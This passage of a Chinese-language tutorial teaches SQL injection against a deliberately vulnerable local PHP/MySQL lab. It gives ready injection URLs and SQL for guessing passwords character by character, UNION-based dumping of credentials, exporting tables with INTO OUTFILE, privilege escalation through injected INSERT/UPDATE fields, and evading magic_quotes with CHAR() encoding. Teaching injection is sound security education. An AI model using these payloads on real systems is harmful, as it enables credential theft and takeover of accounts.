<p><span style="color: #0000ff;">echo “你要查询的用户ID是：$row[userid]\n”;<br />
echo “&lt;p&gt;SQL Query:$sql&lt;p&gt;”;<br />
?&gt;</span></td>
</tr>
</tbody>
</table>
<p>　　当我们提交的用户名为真时，就会正常返回用户的ID，如果为非法参数就会提示相应的错误，由于是查询用户资料，我们可以大胆猜测密码就存在这个数据表里（现在我还没有碰见过密码是单独存在另一个表的程序），记得刚才的身份验证程序吗？和现在的相比，就少了一个AND条件，如下：</p>
<table border="0" cellspacing="1" cellpadding="5" width="100%" align="center" bgcolor="#cccccc">
<tbody>
<tr>
<td bgcolor="#eeeeee"><span style="color: #0000ff;">SELECT * FROM user WHERE username=&#8217;$username&#8217; AND password=&#8217;$password&#8217;SELECT * FROM user WHERE username=&#8217;$username&#8217;</span></td>
</tr>
</tbody>
</table>
<p>　　相同的就是当条件为真时，就会给出正确的提示信息，如果我们构造出后面的AND条件部分，并使这部分为真，那我们的目的也就达到了，还是利用刚才建立的user数据库，用户名为angel，密码为mypass，<br />
看了上面的例子，应该知道构造了吧，如果我们提交：</p>
<table border="0" cellspacing="1" cellpadding="5" width="100%" align="center" bgcolor="#cccccc">
<tbody>
<tr>
<td bgcolor="#eeeeee"><span style="color: #0000ff;">http://127.0.0.1/injection/user.php?username=angel&#8217; and password=&#8217;mypass</span></td>
</tr>
</tbody>
</table>
<p>　　这个是绝对为真的，因为我们这样提交上面的SQL语句变成了下面的样子：</p>
<table border="0" cellspacing="1" cellpadding="5" width="100%" align="center" bgcolor="#cccccc">
<tbody>
<tr>
<td bgcolor="#eeeeee"><span style="color: #0000ff;">SELECT * FROM user WHERE username=&#8217;angel&#8217; AND password=&#8217;mypass&#8217;</span></td>
</tr>
</tbody>
</table>
<p>　　但在实际的攻击中，我们是肯定不知道密码的，假设我们知道数据库的各个字段，下面我们就开始探测密码了，首先获取密码长度：</p>
<table border="0" cellspacing="1" cellpadding="5" width="100%" align="center" bgcolor="#cccccc">
<tbody>
<tr>
<td bgcolor="#eeeeee"><span style="color: #0000ff;">http://127.0.0.1/injection/user.php?username=angel&#8217; and LENGTH(password)=&#8217;6</span></td>
</tr>
</tbody>
</table>
<p>　　在ACCESS中，用LEN()函数来获取字符串长度，在MYSQL中，要使用LENGTH()，只要没有构造错误，也就是说SQL语句能正常执行，那返回结果无外乎两种，不是返回用户ID，就是返回“该记录不存在”。当用户名为angel并且密码长度为6的时候返回真，就会返回相关记录，是不是和ASP里一样？再用LEFT()、RIGHT()、MID()函数猜密码：</p>
<table border="0" cellspacing="1" cellpadding="5" width="100%" align="center" bgcolor="#cccccc">
<tbody>
<tr>
<td bgcolor="#eeeeee"><span style="color: #0000ff;">http://127.0.0.1/injection/user.php?username=angel&#8217; and LEFT(password,1)=&#8217;m<br />
http://127.0.0.1/injection/user.php?username=angel&#8217; and LEFT(password,2)=&#8217;my<br />
http://127.0.0.1/injection/user.php?username=angel&#8217; and LEFT(password,3)=&#8217;myp<br />
http://127.0.0.1/injection/user.php?username=angel&#8217; and LEFT(password,4)=&#8217;mypa<br />
http://127.0.0.1/injection/user.php?username=angel&#8217; and LEFT(password,5)=&#8217;mypas<br />
http://127.0.0.1/injection/user.php?username=angel&#8217; and LEFT(password,6)=&#8217;mypass</span></td>
</tr>
</tbody>
</table>
<p>　　看，密码不是出来了吗？简单吧？当然实际情况会有不少条件限制，下面还会讲到这个例子的深入应用。</p>
<p><strong>② 跨表查询</strong></p>
<p>　　这部分就和ASP有点出入了，除了一定要用UNION连接两条SQL语句，最难掌握的就是字段的数量，如果看过MYSQL参考手册，就知道了在 SELECT 中的 select_expression (select_expression 表示你希望检索的列[字段]) 部分列出的列必须具有同样的类型。第一个 SELECT 查询中使用的列名将作为结果集的列名返回。简单的说，也就是UNION后面查选的字段数量、字段类型都应该与前面的SELECT一样，而且，如果前面的SELECT为真，就同时返回两个SELECT的结果，当前面的SELECT为假，就会返回第二个SELECT所得的结果，某些情况会替换掉在第一个SELECT原来应该显示的字段，如下图：</p>
<p>　　看了这个图直观多了吧？所以应该先知道前面查询表的数据表的结构。如果我们查询两个数据表的字段相同，类型也相同，我们就可以这样提交:</p>
<table border="0" cellspacing="1" cellpadding="5" width="100%" align="center" bgcolor="#cccccc">
<tbody>
<tr>
<td bgcolor="#eeeeee"><span style="color: #0000ff;">SELECT * FROM article WHERE articleid=&#8217;$id&#8217; UNION SELECT * FROM……</span></td>
</tr>
</tbody>
</table>
<p>　　如果字段数量、字段类型任意一个不相同，就只能搞清除数据类型和字段数量，这样提交：</p>
<table border="0" cellspacing="1" cellpadding="5" width="100%" align="center" bgcolor="#cccccc">
<tbody>
<tr>
<td bgcolor="#eeeeee"><span style="color: #0000ff;">SELECT * FROM article WHERE articleid=&#8217;$id&#8217; UNION SELECT 1,1,1,1,1,1,1 FROM……</span></td>
</tr>
</tbody>
</table>
<p>　　否则就会报错：</p>
<table border="0" cellspacing="1" cellpadding="5" width="100%" align="center" bgcolor="#cccccc">
<tbody>
<tr>
<td bgcolor="#eeeeee"><span style="color: #0000ff;">The used SELECT statements have a different number of columns</span></td>
</tr>
</tbody>
</table>
<p>　　如果不知道数据类型和字段数量，可以用1来慢慢试，因为1属于int\str\var类型，所以我们只要慢慢改变数量，一定可以猜到的。如果不能马上理解上面的理论，后面有很详细的例子。<br />
　　我们看看下面的数据结构，是一个简单的文章数据表。</p>
<table border="0" cellspacing="1" cellpadding="5" width="100%" align="center" bgcolor="#cccccc">
<tbody>
<tr>
<td bgcolor="#eeeeee"><span style="color: #0000ff;">CREATE TABLE `article` (<br />
`articleid` int(11) NOT NULL auto_increment,<br />
`title` varchar(100) NOT NULL default ”,<br />
`content` text NOT NULL,<br />
PRIMARY KEY (`articleid`)<br />
) TYPE=MyISAM AUTO_INCREMENT=3 ;</span><span style="color: #0000ff;">#<br />
# 导出表中的数据 `article`<br />
#</span></p>
<p><span style="color: #0000ff;">INSERT INTO `article` VALUES (1, &#8216;我是一个不爱读书的孩子&#8217;, &#8216;中国的教育制度真是他妈的落后！如果我当教育部长。我要把所有老师都解雇！&#8217;);<br />
INSERT INTO `article` VALUES (2, &#8216;我恨死你&#8217;, &#8216;我恨死你了，你是什么东西啊&#8217;);</span></td>
</tr>
</tbody>
</table>
<p>　　这个表的字段类型分别是int、varchar、text，如果我们用UNION联合查询的时候，后面的查询的表的结构和这个一样。就可以用“SELECT *”，如果有任何一个不一样，那我们只能用“SELECT 1,1,1,1……”了。</p>
<p>　　下面的文件是一个很标准、简单的显示文章的文件，很多站点都是这种页面没有过滤，所以成为最明显的注入点，下面就拿这个文件作为例子，开始我们的注入实验。</p>
<table border="0" cellspacing="1" cellpadding="5" width="100%" align="center" bgcolor="#cccccc">
<tbody>
<tr>
<td bgcolor="#eeeeee"><span style="color: #0000ff;">&lt;?php<br />
$servername = “localhost”;<br />
$dbusername = “root”;<br />
$dbpassword = “”;<br />
$dbname = “injection”;</span><span style="color: #0000ff;">mysql_connect($servername,$dbusername,$dbpassword) or die (“数据库连接失败”);</span></p>
<p><span style="color: #0000ff;">$sql = “SELECT * FROM article WHERE articleid=&#8217;$id&#8217;”;<br />
$result = mysql_db_query($dbname,$sql);<br />
$row = mysql_fetch_array($result);</span></p>
<p><span style="color: #0000ff;">if (!$row)<br />
{<br />
　　echo “该记录不存在”;<br />
　　echo “&lt;p&gt;SQL Query:$sql&lt;p&gt;”;<br />
　　exit;<br />
}</span></p>
<p><span style="color: #0000ff;">echo “title&lt;br&gt;”.$row[title].”&lt;p&gt;\n”;<br />
echo “content&lt;br&gt;”.$row[content].”&lt;p&gt;\n”;<br />
echo “&lt;p&gt;SQL Query:$sql&lt;p&gt;”;<br />
?&gt;</span></td>
</tr>
</tbody>
</table>
<p>正常情况下，我们提交这样的一个请求：</p>
<table border="0" cellspacing="1" cellpadding="5" width="100%" align="center" bgcolor="#cccccc">
<tbody>
<tr>
<td bgcolor="#eeeeee"><span style="color: #0000ff;">http://127.0.0.1/injection/show.php?id=1</span></td>
</tr>
</tbody>
</table>
<p>　　就会显示articleid为1的文章，但我们不需要文章，我们需要的是用户的敏感信息，就要查询user表，现在是查询刚才我们建立的user表。<br />
　　由于$id没有过滤给我们制造了这个机会，我们要把show.php文件中的SQL语句改写成类似这个样子：</p>
<table border="0" cellspacing="1" cellpadding="5" width="100%" align="center" bgcolor="#cccccc">
<tbody>
<tr>
<td bgcolor="#eeeeee"><span style="color: #0000ff;">SELECT * FROM article WHERE articleid=&#8217;$id&#8217; UNION SELECT * FROM user ……</span></td>
</tr>
</tbody>
</table>
<p>　　由于这个代码是有单引号包含着变量的，我们现在提交：</p>
<table border="0" cellspacing="1" cellpadding="5" width="100%" align="center" bgcolor="#cccccc">
<tbody>
<tr>
<td bgcolor="#eeeeee"><span style="color: #0000ff;">http://127.0.0.1/injection/show.php?id=1&#8242; union select 1,username,password from user/*</span></td>
</tr>
</tbody>
</table>
<p>　　按道理说，应该显示用户表的username、password两个字段的内容才对啊，怎么正常显示文章呢？如图：</p>
<p>　　其实，我们提交的articleid=1是article表里存在的，执行结果就是真了，自然返回前面SELECT的结果，当我们提交空的值或者提交一个不存在的值，就会蹦出我们想要的东西：</p>
<table border="0" cellspacing="1" cellpadding="5" width="100%" align="center" bgcolor="#cccccc">
<tbody>
<tr>
<td bgcolor="#eeeeee"><span style="color: #0000ff;">http://127.0.0.1/injection/show.php?id=&#8217; union select 1,username,password from user/*<br />
http://127.0.0.1/injection/show.php?id=99999&#8242; union select 1,username,password from user/*</span></td>
</tr>
</tbody>
</table>
<p>　　如图：</p>
<p>　　现在就在字段相对应的地方显示出我们所要的内容。如果还不清楚思路以及具体的应用，后面还会讲到一些高级的技巧。</p>
<p><strong>三、导出文件</strong></p>
<p>　　这个是比较容易构造但又有一定限制的技术，我们经常可以看见以下的SQL语句：</p>
<table border="0" cellspacing="1" cellpadding="5" width="100%" align="center" bgcolor="#cccccc">
<tbody>
<tr>
<td bgcolor="#eeeeee"><span style="color: #0000ff;">select * from table into outfile &#8216;c:/file.txt&#8217;<br />
select * from table into outfile &#8216;/var/www/file.txt&#8217;</span></td>
</tr>
</tbody>
</table>
<p>　　但这样的语句，一般很少用在程序里，有谁会把自己的数据导出呢？除非是备份，但我也没有见过这种备份法。所以我们要自己构造，但必须有下面的前提条件：</p>
<ul>
<li>必须导出到能访问的目录，这样才能下载。</li>
<li>能访问的目录必须要有可写的权限，否则导出会失败。</li>
<li>确保硬盘有足够的容量能容下导出的数据，这个很少见。</li>
<li>确保要已经存在相同的文件名，会导致导出失败，并提示：“File &#8216;c:/file.txt&#8217; already exists”，这样可以防止数据库表和文件例如/etc/passwd被破坏。</li>
</ul>
<p>　　我们继续用上面的user.php和show.php两个文件举例，如果一个一个用户猜解实在是太慢了，如果对方的密码或者其他敏感信息很复杂，又不会写Exploit，要猜到什么时候啊？来点大范围的，直接导出全部数据好了。user.php文件的查询语句，我们按照into outfile的标准格式，注入成下面的语句就能导出我们需要的信息了：</p>
<table border="0" cellspacing="1" cellpadding="5" width="100%" align="center" bgcolor="#cccccc">
<tbody>
<tr>
<td bgcolor="#eeeeee"><span style="color: #0000ff;">SELECT * FROM user WHERE username=&#8217;$username&#8217; into outfile &#8216;c:/file.txt&#8217;</span></td>
</tr>
</tbody>
</table>
<p>　　知道怎么样的语句可以实现我们的目的，我们就很容易构造出相应的语句：</p>
<table border="0" cellspacing="1" cellpadding="5" width="100%" align="center" bgcolor="#cccccc">
<tbody>
<tr>
<td bgcolor="#eeeeee"><span style="color: #0000ff;">http://127.0.0.1/injection/user.php?username=angel&#8217; into outfile &#8216;c:/file.txt</span></td>
</tr>
</tbody>
</table>
<p>　　出现了错误提示，但从返回的语句看来，我们的SQL语句确实是注入正确了，即使出现错误，也是查询的问题了，文件还是乖乖的被导出了，如图：</p>
<p>　　由于代码本身就有WHERE来指定一个条件，所以我们导出的数据仅仅是满足这个条件的数据，如果我们想导出全部呢？其实很简单，只要使这个WHERE条件为假，并且指定一个成真的条件，就可以不用被束缚在WHERE里了，来看看经典1=1发挥作用了：</p>
<table border="0" cellspacing="1" cellpadding="5" width="100%" align="center" bgcolor="#cccccc">
<tbody>
<tr>
<td bgcolor="#eeeeee"><span style="color: #0000ff;">http://127.0.0.1/injection/user.php?username=&#8217; or 1=1 into outfile &#8216;c:/file.txt</span></td>
</tr>
</tbody>
</table>
<p>　　实际的SQL语句变为：</p>
<table border="0" cellspacing="1" cellpadding="5" width="100%" align="center" bgcolor="#cccccc">
<tbody>
<tr>
<td bgcolor="#eeeeee"><span style="color: #0000ff;">SELECT * FROM user WHERE username=” or 1=1 into outfile &#8216;c:/file.txt&#8217;</span></td>
</tr>
</tbody>
</table>
<p>　　这样username的参数是空的，就是假了，1=1永远是真的，那or前面的WHERE就不起作用了，但千万别用and哦，否则是不能导出全部数据的。<br />
　　既然条件满足，在这种情况下就直接导出所有数据！如图：</p>
<p>　　但是跨表的导出文件的语句该怎么构造呢？还是用到UNION联合查询，所以一切前提条件都应该和UNION、导出数据一样，跨表导出数据正常情况下应该相下面的一样：</p>
<table border="0" cellspacing="1" cellpadding="5" width="100%" align="center" bgcolor="#cccccc">
<tbody>
<tr>
<td bgcolor="#eeeeee"><span style="color: #0000ff;">SELECT * FROM article WHERE articleid=&#8217;1&#8242; union select 1,username,password from user into outfile &#8216;c:/user.txt&#8217;</span></td>
</tr>
</tbody>
</table>
<p>　　这样可以导出文件了，如果我们要构造就提交：</p>
<table border="0" cellspacing="1" cellpadding="5" width="100%" align="center" bgcolor="#cccccc">
<tbody>
<tr>
<td bgcolor="#eeeeee"><span style="color: #0000ff;">http://127.0.0.1/injection/show.php?id=1&#8242; union select 1,username,password from user into outfile &#8216;c:/user.txt</span></td>
</tr>
</tbody>
</table>
<p>　　文件是出来了，可是有一个问题，由于前面的查询articleid=&#8217;1&#8242;为真了，所以导出的数据也有整个文章的一部分，如图：</p>
<p>　　所以我们把应该使前面的查询语句为假，才能只导出后面查询的内容，只要提交：</p>
<table border="0" cellspacing="1" cellpadding="5" width="100%" align="center" bgcolor="#cccccc">
<tbody>
<tr>
<td bgcolor="#eeeeee"><span style="color: #0000ff;">http://127.0.0.1/injection/show.php?id=&#8217; union select 1,username,password from user into outfile &#8216;c:/user.txt</span></td>
</tr>
</tbody>
</table>
<p>　　这样才能得到我们想要的资料：</p>
<p>　　值得注意的是想要导出文件，必须magic_quotes_gpc没有打开，并且程序也没有用到addslashes()函数，还有不能对单引号做任何过滤，因为我们在提交导出路径的时候，一定要用引号包含起来，否则，系统不会认识那是一个路径，也不用尝试用char()或者什么函数，那是徒劳。</p>
<p><strong>INSERT</strong></p>
<p>　　如果大家认为MYSQL中注入仅仅适用于SELECT就大错特错了，其实还有两个危害更大的操作，那就是INSERT和UPDATE语句，这类例子不多，先面先说说INSERT，这主要应用于改写插入的数据，我们来看个简单而又广泛存在的例子，看看下面的数据结构：</p>
<table border="0" cellspacing="1" cellpadding="5" width="100%" align="center" bgcolor="#cccccc">
<tbody>
<tr>
<td bgcolor="#eeeeee"><span style="color: #0000ff;">CREATE TABLE `user` (<br />
`userid` INT NOT NULL AUTO_INCREMENT ,<br />
`username` VARCHAR( 20 ) NOT NULL ,<br />
`password` VARCHAR( 50 ) NOT NULL ,<br />
`homepage` VARCHAR( 255 ) NOT NULL ,<br />
`userlevel` INT DEFAULT &#8217;1&#8242; NOT NULL ,<br />
PRIMARY KEY ( `userid` )<br />
);</span></td>
</tr>
</tbody>
</table>
<p>　　其中的userlevel代表用户的等级，1是普通用户，2是普通管理员，3是超级管理员，一个注册程序默认是注册成普通用户，如下：</p>
<table border="0" cellspacing="1" cellpadding="5" width="100%" align="center" bgcolor="#cccccc">
<tbody>
<tr>
<td bgcolor="#eeeeee"><span style="color: #0000ff;">INSERT INTO `user` (userid, username, password, homepage, userlevel) VALUES (”, &#8216;$username&#8217;, &#8216;$password&#8217;, &#8216;$homepage&#8217;, &#8217;1&#8242;);</span></td>
</tr>
</tbody>
</table>
<p>　　默认userlevel字段是插入1，其中的变量都是没有经过过滤就直接写入数据库的，不知道大家有什么想法？对，就是直接注入，使我们一注册就是超级管理员。我们注册的时候，构造$homepage变量，就可以达到改写的目的，指定$homepage变量为：</p>
<table border="0" cellspacing="1" cellpadding="5" width="100%" align="center" bgcolor="#cccccc">
<tbody>
<tr>
<td bgcolor="#eeeeee"><span style="color: #0000ff;">http://4ngel.net&#8217;, &#8217;3’)#</span></td>
</tr>
</tbody>
</table>
<p>　　插入数据库的时候就变成：</p>
<table border="0" cellspacing="1" cellpadding="5" width="100%" align="center" bgcolor="#cccccc">
<tbody>
<tr>
<td bgcolor="#eeeeee"><span style="color: #0000ff;">INSERT INTO `user` (userid, username, password, homepage, userlevel) VALUES (”, &#8216;angel&#8217;, &#8216;mypass&#8217;, &#8216;http://4ngel.net&#8217;, &#8217;3’)#&#8217;, &#8217;1&#8242;);</span></td>
</tr>
</tbody>
</table>
<p>　　这样就注册成为超级管理员了。但这种利用方法也有一定的局限性，比如，我没有需要改写的变量如userlevel字段是数据库的第一个字段，前面没有地方给我们注入，我们也没有办法了。<br />
或许INSERT还有更广泛的应用，大家可以自行研究，但原理都是一样的。</p>
<p><strong>UPDATE</strong></p>
<p>　　和INSERT相比，UPDATE的应用更加广泛，如果过滤不够，足以改写任何数据，还是拿刚才的注册程序来说，数据结构也不变，我们看一下用户自己修改自己的资料，SQL语句一般都是这样写的：</p>
<table border="0" cellspacing="1" cellpadding="5" width="100%" align="center" bgcolor="#cccccc">
<tbody>
<tr>
<td bgcolor="#eeeeee"><span style="color: #0000ff;">UPDATE user SET password=&#8217;$password&#8217;, homepage=&#8217;$homepage&#8217; WHERE id=&#8217;$id&#8217;</span></td>
</tr>
</tbody>
</table>
<p>　　用户可以修改自己的密码和主页，大家有什么想法？总不至于还是提升权限吧？程序中的SQL语句又没有更新userlevel字段，怎么提升啊？还是老办法，构造$homepage变量, 指定$homepage变量为：</p>
<table border="0" cellspacing="1" cellpadding="5" width="100%" align="center" bgcolor="#cccccc">
<tbody>
<tr>
<td bgcolor="#eeeeee"><span style="color: #0000ff;">http://4ngel.net&#8217;, userlevel=&#8217;3</span></td>
</tr>
</tbody>
</table>
<p>　　整个SQL语句就变成这样：</p>
<table border="0" cellspacing="1" cellpadding="5" width="100%" align="center" bgcolor="#cccccc">
<tbody>
<tr>
<td bgcolor="#eeeeee"><span style="color: #0000ff;">UPDATE user SET password=&#8217;mypass&#8217;, homepage=&#8217;http://4ngel.net&#8217;, userlevel=&#8217;3&#8242; WHERE id=&#8217;$id&#8217;</span></td>
</tr>
</tbody>
</table>
<p>　　我们是不是又变成超级管理员了？程序不更新userlevel字段，我们自己来。<br />
还有更加绝的，直接修改任意用户的资料，还是刚才的例句，但这次安全一点，使用MD5加密：</p>
<table border="0" cellspacing="1" cellpadding="5" width="100%" align="center" bgcolor="#cccccc">
<tbody>
<tr>
<td bgcolor="#eeeeee"><span style="color: #0000ff;">UPDATE user SET password=&#8217;MD5($password)&#8217;, homepage=&#8217;$homepage&#8217; WHERE id=&#8217;$id&#8217;</span></td>
</tr>
</tbody>
</table>
<p>　　尽管密码被加密了，但我们还是可以构造我们需要的语句，我们指定$password为：</p>
<table border="0" cellspacing="1" cellpadding="5" width="100%" align="center" bgcolor="#cccccc">
<tbody>
<tr>
<td bgcolor="#eeeeee"><span style="color: #0000ff;">mypass)&#8217; WHERE username=&#8217;admin&#8217;#</span></td>
</tr>
</tbody>
</table>
<p>　　这时整个语句变为：</p>
<table border="0" cellspacing="1" cellpadding="5" width="100%" align="center" bgcolor="#cccccc">
<tbody>
<tr>
<td bgcolor="#eeeeee"><span style="color: #0000ff;">UPDATE user SET password=&#8217;MD5(mypass)&#8217; WHERE username=&#8217;admin&#8217;#)&#8217;, homepage=&#8217;$homepage&#8217; WHERE id=&#8217;$id&#8217;</span></td>
</tr>
</tbody>
</table>
<p>　　这样就更改了更新的条件，我管你后面的代码是不是在哭这说：我们还没有执行啊。当然，也可以从$id下手，指定$id为：</p>
<table border="0" cellspacing="1" cellpadding="5" width="100%" align="center" bgcolor="#cccccc">
<tbody>
<tr>
<td bgcolor="#eeeeee"><span style="color: #0000ff;">&#8216; OR username=&#8217;admin&#8217;</span></td>
</tr>
</tbody>
</table>
<p>　　这时整个语句变为：</p>
<table border="0" cellspacing="1" cellpadding="5" width="100%" align="center" bgcolor="#cccccc">
<tbody>
<tr>
<td bgcolor="#eeeeee"><span style="color: #0000ff;">UPDATE user SET password=&#8217;MD5($password)&#8217;, homepage=&#8217;$homepage&#8217; WHERE id=” OR username=&#8217;admin&#8217;</span></td>
</tr>
</tbody>
</table>
<p>　　照样也可以达到修改的目的，所以说注入是非常灵活的技术。如果有些变量是从数据库读取的固定值，甚至用$_SESSION['username']来读取服务器上的SESSION信息时，我们就可以在原来的WHERE之前自己构造WHERE并注释掉后面的代码，由此可见，灵活运用注释也是注入的技巧之一。这些技巧把注入发挥得淋漓尽致。不得不说是一种艺术。<br />
　　变量的提交方式可以是GET或POST，提交的位置可以是地址栏、表单、隐藏表单变量或修改本地COOKIE信息等，提交的方式可以是本地提交，服务器上提交或者是工具提交，多种多样就看你如何运用了。</p>
<p><strong>高级应用</strong></p>
<p><strong>1、 使用MYSQL内置函数</strong></p>
<p>　　我们在ACCESS、MSSQL中的注入，有很多比较高级的注入方法，比如深入到系统，猜中文等，这些东西，在MYSQL也能很好得到发挥，其实在MYSQL有很多内置函数都可以用在SQL语句里，这样就可以使我们能在注入时更灵活，得到更多关于系统的信息。有几个函数是比较常用的：</p>
<table border="0" cellspacing="1" cellpadding="5" width="100%" align="center" bgcolor="#cccccc">
<tbody>
<tr>
<td bgcolor="#eeeeee"><span style="color: #0000ff;">DATABASE()<br />
USER()<br />
SYSTEM_USER()<br />
SESSION_USER()<br />
CURRENT_USER()<br />
……</span></td>
</tr>
</tbody>
</table>
<p>　　各个函数的具体作用大家可以查阅MYSQL手册，比如下面这句UPDATE：</p>
<table border="0" cellspacing="1" cellpadding="5" width="100%" align="center" bgcolor="#cccccc">
<tbody>
<tr>
<td bgcolor="#eeeeee"><span style="color: #0000ff;">UPDATE article SET title=$title WHERE articleid=1</span></td>
</tr>
</tbody>
</table>
<p>　　我们可以指定$title为以上的各个函数，因为没有被引号包含，所以函数是能正确执行的：</p>
<table border="0" cellspacing="1" cellpadding="5" width="100%" align="center" bgcolor="#cccccc">
<tbody>
<tr>
<td bgcolor="#eeeeee"><span style="color: #0000ff;">UPDATE article SET title=DATABASE() WHERE id=1<br />
#把当前数据库名更新到title字段<br />
UPDATE article SET title=USER() WHERE id=1<br />
#把当前 MySQL 用户名更新到title字段<br />
UPDATE article SET title=SYSTEM_USER() WHERE id=1<br />
#把当前 MySQL 用户名更新到title字段<br />
UPDATE article SET title=SESSION_USER() WHERE id=1<br />
#把当前 MySQL 用户名更新到title字段<br />
UPDATE article SET title=CURRENT_USER() WHERE id=1<br />
#把当前会话被验证匹配的用户名更新到title字段</span></td>
</tr>
</tbody>
</table>
<p>　　灵活运用MYSQL内置的函数，可以获得不少有用的信息，比如数据库版本、名字、用户、当前数据库等，比如前面跨表查询的例子，提交：</p>
<table border="0" cellspacing="1" cellpadding="5" width="100%" align="center" bgcolor="#cccccc">
<tbody>
<tr>
<td bgcolor="#eeeeee"><span style="color: #0000ff;">http://127.0.0.1/injection/show.php?id=1</span></td>
</tr>
</tbody>
</table>
<p>　　可以看到一篇文章，我们怎么样才能知道MYSQL数据库的相关信息呢？同样也是用MYSQL内置函数配合UNION联合查询，不过相比之下就简单得多了，甚至还可以读取文件！既然要用到UNION，同样要满足UNION的条件——字段数、数据类型相同。如果我们知道了数据结构，直接构造：</p>
<table border="0" cellspacing="1" cellpadding="5" width="100%" align="center" bgcolor="#cccccc">
<tbody>
<tr>
<td bgcolor="#eeeeee"><span style="color: #0000ff;">http://127.0.0.1/injection/show.php?id=-1 union select 1,database(),version()</span></td>
</tr>
</tbody>
</table>
<p>　　就可以返回当前数据库名和数据库版本，构造是比较容易的。<br />
　　下面附上一段由我好友Super·Hei写的代码，可以把字符串转换为ASCII代码。感谢提供。</p>
<table border="0" cellspacing="1" cellpadding="5" width="100%" align="center" bgcolor="#cccccc">
<tbody>
<tr>
<td bgcolor="#eeeeee"><span style="color: #0000ff;">#!/usr/bin/perl<br />
#cody by Super·Hei<br />
#to angel<br />
#C:\&gt;test.pl c:\boot.ini<br />
#99,58,92,98,111,111,116,46,105,110,105</span><span style="color: #0000ff;">$ARGC = @ARGV;<br />
if ($ARGC != 1) {<br />
　　print “Usage: $0 \n”;<br />
　　exit(1);<br />
}</span></p>
<p><span style="color: #0000ff;">$path=shift;</span></p>
<p><span style="color: #0000ff;">@char = unpack(&#8216;C*&#8217;, $path);</span></p>
<p><span style="color: #0000ff;">$asc=join(“,”,@char);</span></p>
<p><span style="color: #0000ff;">print $asc; </span></td>
</tr>
</tbody>
</table>
<p><strong>2、不加单引号注入</strong></p>
<p><em>注：现在我们假设magic_quotes_gpc为on了。</em></p>
<p>　　众所周知，整形的数据是不需要用引号引起来的，而字符串就要用引号，这样可以避免很多问题。但是如果仅仅用整形数据，我们是没有办法注入的，所以我需要把我们构造的语句转换成整形类型，这个就需要用到CHAR()，ASCII(),ORD(),CONV()这些函数了，举个简单的例子：</p>
<table border="0" cellspacing="1" cellpadding="5" width="100%" align="center" bgcolor="#cccccc">
<tbody>
<tr>
<td bgcolor="#eeeeee"><span style="color: #0000ff;">SELECT * FROM user WHERE username=&#8217;angel&#8217;</span></td>
</tr>
</tbody>
</table>
<p>　　如何使$username不带引号呢？很简单我们这样提交就可以了。</p>
<table border="0" cellspacing="1" cellpadding="5" width="100%" align="center" bgcolor="#cccccc">
<tbody>
<tr>
<td bgcolor="#eeeeee"><span style="color: #0000ff;">SELECT * FROM user WHERE username=char(97,110,103,101,108)<br />
# char(97,110,103,101,108) 相当于angel，十进制。<br />
SELECT * FROM user WHERE username=0x616E67656C<br />
# 0x616E67656C 相当于angel，十六进制。</span></td>
</tr>
</tbody>
</table>
<p>　　其他函数大家自己去测试好了，但是前提就如上面所说的，我们可以构造的变量不被引号所包含才有意义，不然我们不管构造什么，只是字符串，发挥不了作用，比如前面猜密码的例子(user,php)，我们把查询条件改为userid：</p>
<table border="0" cellspacing="1" cellpadding="5" width="100%" align="center" bgcolor="#cccccc">
<tbody>
<tr>
<td bgcolor="#eeeeee"><span style="color: #0000ff;">SELECT * FROM user WHERE userid=userid</span></td>
</tr>
</tbody>
</table>
<p>　　按照正常的，提交：</p>
<table border="0" cellspacing="1" cellpadding="5" width="100%" align="center" bgcolor="#cccccc">
<tbody>
<tr>
<td bgcolor="#eeeeee"><span style="color: #0000ff;">http://127.0.0.1/injection/user.php?userid=1</span></td>
</tr>
</tbody>
</table>
<p>　　就可以查询userid为1的用户资料，因为1是数字，所以有没有引号都无所谓，但是如果我们构造：</p>
<table border="0" cellspacing="1" cellpadding="5" width="100%" align="center" bgcolor="#cccccc">
<tbody>
<tr>
<td bgcolor="#eeeeee"><span style="color: #0000ff;">http://127.0.0.1/injection/user.php?userid=1 and password=mypass</span></td>
</tr>
</tbody>
</table>
<p>　　绝对错误，因为mypass是字符串，除非提交：</p>
<table border="0" cellspacing="1" cellpadding="5" width="100%" align="center" bgcolor="#cccccc">
<tbody>
<tr>
<td bgcolor="#eeeeee"><span style="color: #0000ff;">http://127.0.0.1/injection/user.php?userid=1 and password=&#8217;mypass&#8217;</span></td>
</tr>
</tbody>
</table>
<p>　　由于magic_quotes_gpc打开的关系，这个是绝对不可能的。引号会变成/&#8217;，我们有什么办法可以把这些字符串变成整形数据吗？就是用CHAR()函数，如果我们提交：</p>
<table border="0" cellspacing="1" cellpadding="5" width="100%" align="center" bgcolor="#cccccc">
<tbody>
<tr>
<td bgcolor="#eeeeee"><span style="color: #0000ff;">http://127.0.0.1/injection/user.php?userid=1 and password=char(109,121,112,97,115,115)</span></td>
</tr>
</tbody>
</table>
<p>　　正常返回，实践证明，我们用CHAR()是可行的，我们就把CHAR()用进LEFT函数里面逐位猜解！</p>
<table border="0" cellspacing="1" cellpadding="5" width="100%" align="center" bgcolor="#cccccc">
<tbody>
<tr>
<td bgcolor="#eeeeee"><span style="color: #0000ff;">http://127.0.0.1/injection/user.php?userid=1 and LEFT(password,1)=char(109)</span></td>
</tr>
</tbody>
</table>
<p>　　正常返回，说明userid为1的用户，password字段第一位是char(109)，我们继续猜：</p>
<table border="0" cellspacing="1" cellpadding="5" width="100%" align="center" bgcolor="#cccccc">
<tbody>
<tr>
<td bgcolor="#eeeeee"><span style="color: #0000ff;">http://127.0.0.1/injection/user.php?userid=1 and LEFT(password,2)=char(109,121)</span></td>
</tr>
</tbody>
</table>
<p>　　又正常返回，说明正确，但这样影响到效率，既然是整形，我们完全可以用比较运算符来比较：</p>
<table border="0" cellspacing="1" cellpadding="5" width="100%" align="center" bgcolor="#cccccc">
<tbody>
<tr>
<td bgcolor="#eeeeee"><span style="color: #0000ff;">http://127.0.0.1/injection/user.php?userid=1 and LEFT(password,1)&gt;char(100)</span></td>
</tr>
</tbody>
</table>
<p>　　然后适当调整char()里面的数字来确定一个范围，很快就可以猜出来，到了后面的时候，还是可以用比较运算符来比较：</p>
<table border="0" cellspacing="1" cellpadding="5" width="100%" align="center" bgcolor="#cccccc">
<tbody>
<tr>
<td bgcolor="#eeeeee"><span style="color: #0000ff;">http://127.0.0.1/injection/user.php?userid=1 and LEFT(password,3)&gt;char(109,121,111)</span></td>
</tr>
</tbody>
</table>
<p>　　而原来已经猜好的不用改变了，很快就可以猜完：</p>
<table border="0" cellspacing="1" cellpadding="5" width="100%" align="center" bgcolor="#cccccc">
<tbody>
<tr>
